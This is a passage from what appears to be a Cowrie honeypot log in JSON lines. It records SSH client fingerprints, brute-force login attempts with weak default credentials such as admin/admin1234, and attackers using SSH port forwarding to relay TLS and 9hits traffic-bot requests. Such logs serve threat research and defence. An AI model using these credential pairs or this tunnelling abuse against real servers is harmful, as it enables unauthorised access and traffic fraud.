our256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:39.321967Z","src_ip":"38.46.222.137","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:39.710950Z","src_ip":"23.175.50.51","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbaw\\x00\\xe0\\x9fd\\x1e6Y\\xcb\"4\\xb5Z\\xae]\\xc7\\x14\\xa3\\xeb\\x95\\x16\\n\\xe7\\x97\\xfdh4[\\xa9\"^ \\xa5E\\xf5d\\x0c\\r\\x8cB\\xfd\\xfc\\xbbY\\xc8\\xd0u\\x1a\\xc3\\xb1\\x18|P\\x16\\x02\\xe08\\xc6\\xd5\\x81\\x14\\xdc\\xed\\xdf\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9fQ\\x10\\x9a\\xdf\\x96O\\xf1qOh\\x15\\xb2\\x86\\x88E\\x15\\xd0\\x99\\xe0\\x08d\\xd8\\xac\\xf5\\xbbb\\xcf\\x07f\"\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbaw\\x00\\xe0\\x9fd\\x1e6Y\\xcb\"4\\xb5Z\\xae]\\xc7\\x14\\xa3\\xeb\\x95\\x16\\n\\xe7\\x97\\xfdh4[\\xa9\"^ \\xa5E\\xf5d\\x0c\\r\\x8cB\\xfd\\xfc\\xbbY\\xc8\\xd0u\\x1a\\xc3\\xb1\\x18|P\\x16\\x02\\xe08\\xc6\\xd5\\x81\\x14\\xdc\\xed\\xdf\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9fQ\\x10\\x9a\\xdf\\x96O\\xf1qOh\\x15\\xb2\\x86\\x88E\\x15\\xd0\\x99\\xe0\\x08d\\xd8\\xac\\xf5\\xbbb\\xcf\\x07f\"\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:39.714165Z","src_ip":"23.175.50.51","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramsey","password":"ramsey","message":"login attempt [ramsey/ramsey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:40.014615Z","src_ip":"91.92.40.36","session":"5117e174622d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:40.612115Z","src_ip":"38.46.222.137","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:41.321876Z","src_ip":"91.92.40.36","session":"5117e174622d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":62507,"dst_ip":"10.17.0.5","dst_port":22,"session":"13f98d8c2aea","protocol":"ssh","message":"New connection: 113.164.152.20:62507 (10.17.0.5:22) [session: 13f98d8c2aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:42.371599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:42.375804Z","src_ip":"113.164.152.20","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:42.676969Z","src_ip":"113.164.152.20","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:43.917875Z","src_ip":"113.164.152.20","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:44.430287Z","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:44.531397Z","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:44.611850Z","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.517369985580444,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:44.630239Z","src_ip":"172.81.62.90","session":"69930b7274c2","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:44.682023Z","src_ip":"38.46.222.137","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1; rv:80.0) Gecko/20100101 Firefox/80.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1184\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TXE1T2M1SHNCXiNWVCUzXg%3D%3DDYgORhF8N5pjPM7HR0532AREmlpUNiRxn900DGvAPQcvb5bNfakMTz7omevNSkmsWwEgERiHLWNqrd%2BmS%2B%2FU9U3dzefb8F%2FVhIzbg%2FQXwmIbLPDy9kADLjUOxloUXsuboeEXFcFSaAZkcHhOIE94zE4Mh4NVE%2Bomw2vOMhitsPY1LLNwRqK1k8N%2FwI6qfeIsuUVDD7ArgJtNhxmdF7pQ06AsP1kzuIrxekwLcauDhtcifj0fJQIlmwANxYigFjZCYHjhoFRDyZqpqxuVKGX8T3AQbb5ZvaNNS8pbA5K3croEIP%2BuLhhVKQLH9RNEuQABBD%2BgJtSR3yWmIAxlRh1Nm2tizjCDUqBqUu7RnTiZiU6aizcCFCqqLgIxZVTTzk9giMIMkMSbvSiJPml7DKkktjhwAbxrSfLeF1WVKGUVxwBn1M5Ou43Ev%2Bax2YSQfA13vUb2e2OYWx%2FBYftkPtuAsx4vZrpKussFUpJP3KAHawDErc8fqfjJ1AbfoIyliSvWZKCi%2Bnyj3pdI%2FCOZtrFw%2FIGcaUBbeA71V7Np737gKe9lHLpPkJ3TwMdHoaxVHbrUcHur7hYO0qZPQL1thiWeyhPi%2FXH20tfSjnGKdcEnGE7mEvXbG4wGtK4iWc1mIvHpET6eQZdkT8y0IcvEccuAh4QPFIX3CMl1vBPNwfFgJ0JbTj90wWKXUP1urH8kOSYZBmvVYYI1o4rsp7dEMZbEQ3oXdpurP%2FD1CLQdwXflqepPNFBwAc0xNgldlejtD0SO%2BVNZGtZHfInAWzW%2B%2B9p0vMtXwBvGvAMQOk8MKYox0O06aa6ES4q2aQQHcx%2BSLYBeYRVXl1%2FDdtkbNB9O1mhKa5WBmQ%2BoSfjH1OU%2FNWBwNp7YVW8Te5jTdMwQIPdXksRa%2BP%2BhCbRx6V4ytV9jC%2FsXsNEKIW50nr4%2FVSb1hNyT8ur%2FUoO5s3QZhyhw8qBdJoPD3KDi1nbEiK1%2B1z4sj57s%2BiGUEKkrSSfe3cDheAfjC5qGZbvyCqlrpqR%2BddoZrsgCIDQ0CPXBpK8R5K0B2BtPV4Jiwcnr255Tpvhm3hvV66v4jKPsa4Jg%2FsqrvX%2Bhd9V8'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1; rv:80.0) Gecko/20100101 Firefox/80.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1184\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TXE1T2M1SHNCXiNWVCUzXg%3D%3DDYgORhF8N5pjPM7HR0532AREmlpUNiRxn900DGvAPQcvb5bNfakMTz7omevNSkmsWwEgERiHLWNqrd%2BmS%2B%2FU9U3dzefb8F%2FVhIzbg%2FQXwmIbLPDy9kADLjUOxloUXsuboeEXFcFSaAZkcHhOIE94zE4Mh4NVE%2Bomw2vOMhitsPY1LLNwRqK1k8N%2FwI6qfeIsuUVDD7ArgJtNhxmdF7pQ06AsP1kzuIrxekwLcauDhtcifj0fJQIlmwANxYigFjZCYHjhoFRDyZqpqxuVKGX8T3AQbb5ZvaNNS8pbA5K3croEIP%2BuLhhVKQLH9RNEuQABBD%2BgJtSR3yWmIAxlRh1Nm2tizjCDUqBqUu7RnTiZiU6aizcCFCqqLgIxZVTTzk9giMIMkMSbvSiJPml7DKkktjhwAbxrSfLeF1WVKGUVxwBn1M5Ou43Ev%2Bax2YSQfA13vUb2e2OYWx%2FBYftkPtuAsx4vZrpKussFUpJP3KAHawDErc8fqfjJ1AbfoIyliSvWZKCi%2Bnyj3pdI%2FCOZtrFw%2FIGcaUBbeA71V7Np737gKe9lHLpPkJ3TwMdHoaxVHbrUcHur7hYO0qZPQL1thiWeyhPi%2FXH20tfSjnGKdcEnGE7mEvXbG4wGtK4iWc1mIvHpET6eQZdkT8y0IcvEccuAh4QPFIX3CMl1vBPNwfFgJ0JbTj90wWKXUP1urH8kOSYZBmvVYYI1o4rsp7dEMZbEQ3oXdpurP%2FD1CLQdwXflqepPNFBwAc0xNgldlejtD0SO%2BVNZGtZHfInAWzW%2B%2B9p0vMtXwBvGvAMQOk8MKYox0O06aa6ES4q2aQQHcx%2BSLYBeYRVXl1%2FDdtkbNB9O1mhKa5WBmQ%2BoSfjH1OU%2FNWBwNp7YVW8Te5jTdMwQIPdXksRa%2BP%2BhCbRx6V4ytV9jC%2FsXsNEKIW50nr4%2FVSb1hNyT8ur%2FUoO5s3QZhyhw8qBdJoPD3KDi1nbEiK1%2B1z4sj57s%2BiGUEKkrSSfe3cDheAfjC5qGZbvyCqlrpqR%2BddoZrsgCIDQ0CPXBpK8R5K0B2BtPV4Jiwcnr255Tpvhm3hvV66v4jKPsa4Jg%2FsqrvX%2Bhd9V8'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:44.684869Z","src_ip":"38.46.222.137","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:45.056211Z","src_ip":"113.164.152.20","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/78.0 Mobile/15A372 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1176\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Rzc%2FMGYrKzUyQFhQbyhWaw%3D%3D1W1ExTMjttmdNg1nDvMi2aThHyt2YUBuqh6b0pBQfKMCbTs1gRo4O%2Fmgmh7ivChRQbmm3MwafnvJ2ZleuJ75SknsIAOQY56IzBEJABK%2FqY13%2F9XOoxoq3xjVuhMJkTJiab0K8zsHFVBro7rCArL1NKsYfz8EkJl6yZLwSCvNr40CRrVo9uE15BNDMp4lByrOisL9Tvs4PQAU6XkPny7%2BPQQN2fjOD8EWFZtadJUeKtOoOdUtLzGkgj9PExPm9A7zYhkPYKidyz7o2NkwdaOCDnB0Ukqj8GO7jkbJPvIFk40Q6rYHdP5uuwsM%2BnfFT4%2FcW9EFoHKMnn6iTAdXAkU9jMJeikAhYKn%2BuTCzJfHT63cjeZiLhdkcmDTM4XRMe9tfWnLr5eKpDLg4H0d0npRiloqVC%2FXwpIIKchALP%2FEa11YoRSQH%2BuP2D0oqC4vUGmNJxz5DqF%2FkZRvn3yCbqIyZUHg8B6kQEsT3Dz54TCGh0Nv4oB%2F53yRjU4LppWPZHl68XNR5IZKSN6DJF63FXGog9LN6Ia3a0bQ9VHWvKusWkMbx%2BurwI%2FWQipW5p%2FuMfe5lsNCURIPE3WfX3v7RL7cYQZy6zp1pofRrVjPKIgwO6TK%2Bsydg5i342Q50KaaKy2vY18HRkFQPsD9tudMZM9yHheN%2Bz1bmXgePl1EbccFcWa51BJKY%2FA2qNidTpo3wJhfLZGj50qs3HXEDlDrd8eY3CGkbU%2BV4LFezrcITt3CVfRWS2eGXCCebX943%2F5fwCxiaYkwy7UuQo8rM5FK6ER5B2xh2GT0KyTrRRSFrL1lMCJxXqIHZZKK%2FBt%2F5g9UuO%2F5ncVnjhczvKYJAA8i%2FbSpWMkdY3h94qn41p25UUSCqQxxsirKohxuxGEDN7td6UeCpN6fKoRdW3nzs3B1fYM2Yg0el%2F6VmhvKQVYzsyfJ9aCUfORt5l%2F0aM2msIQyDXjv22TfiOa4uwIadJdIMoY0xsvrf3uraQSwMvIJmlSXipKcao1ulNmM0Ax5oN4vSmd%2FaTPN0xbWVotuTknqNppIlO0kouvPG2LI4mimP6tlE8JoquPIUVvmG3bHp%2FaQqakHo'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/78.0 Mobile/15A372 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1176\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Rzc%2FMGYrKzUyQFhQbyhWaw%3D%3D1W1ExTMjttmdNg1nDvMi2aThHyt2YUBuqh6b0pBQfKMCbTs1gRo4O%2Fmgmh7ivChRQbmm3MwafnvJ2ZleuJ75SknsIAOQY56IzBEJABK%2FqY13%2F9XOoxoq3xjVuhMJkTJiab0K8zsHFVBro7rCArL1NKsYfz8EkJl6yZLwSCvNr40CRrVo9uE15BNDMp4lByrOisL9Tvs4PQAU6XkPny7%2BPQQN2fjOD8EWFZtadJUeKtOoOdUtLzGkgj9PExPm9A7zYhkPYKidyz7o2NkwdaOCDnB0Ukqj8GO7jkbJPvIFk40Q6rYHdP5uuwsM%2BnfFT4%2FcW9EFoHKMnn6iTAdXAkU9jMJeikAhYKn%2BuTCzJfHT63cjeZiLhdkcmDTM4XRMe9tfWnLr5eKpDLg4H0d0npRiloqVC%2FXwpIIKchALP%2FEa11YoRSQH%2BuP2D0oqC4vUGmNJxz5DqF%2FkZRvn3yCbqIyZUHg8B6kQEsT3Dz54TCGh0Nv4oB%2F53yRjU4LppWPZHl68XNR5IZKSN6DJF63FXGog9LN6Ia3a0bQ9VHWvKusWkMbx%2BurwI%2FWQipW5p%2FuMfe5lsNCURIPE3WfX3v7RL7cYQZy6zp1pofRrVjPKIgwO6TK%2Bsydg5i342Q50KaaKy2vY18HRkFQPsD9tudMZM9yHheN%2Bz1bmXgePl1EbccFcWa51BJKY%2FA2qNidTpo3wJhfLZGj50qs3HXEDlDrd8eY3CGkbU%2BV4LFezrcITt3CVfRWS2eGXCCebX943%2F5fwCxiaYkwy7UuQo8rM5FK6ER5B2xh2GT0KyTrRRSFrL1lMCJxXqIHZZKK%2FBt%2F5g9UuO%2F5ncVnjhczvKYJAA8i%2FbSpWMkdY3h94qn41p25UUSCqQxxsirKohxuxGEDN7td6UeCpN6fKoRdW3nzs3B1fYM2Yg0el%2F6VmhvKQVYzsyfJ9aCUfORt5l%2F0aM2msIQyDXjv22TfiOa4uwIadJdIMoY0xsvrf3uraQSwMvIJmlSXipKcao1ulNmM0Ax5oN4vSmd%2FaTPN0xbWVotuTknqNppIlO0kouvPG2LI4mimP6tlE8JoquPIUVvmG3bHp%2FaQqakHo'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:45.059474Z","src_ip":"113.164.152.20","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:45.066693Z","src_ip":"113.164.152.20","session":"13f98d8c2aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+\\xb57\\x9d1cEayM\\xf5\\xb1\\x15? \\x05\\x12\\x80l\\xe5\\x1d>b\\\\\\x0f\\xc6\\xf1\\xee\\x02\\xe4\\xae\\xc2 \\x0c\\xc0~)\\xff\\x1e\\xb2g\\x17\\xb6\\xe7A\\xdc\\x0b\\xa3\\xbfC\\xb3\\x00\\xbcI\\xa5\\xcb\\xd7\\xf3w\\x82O\\xe8\\tH\\xb9\\x00 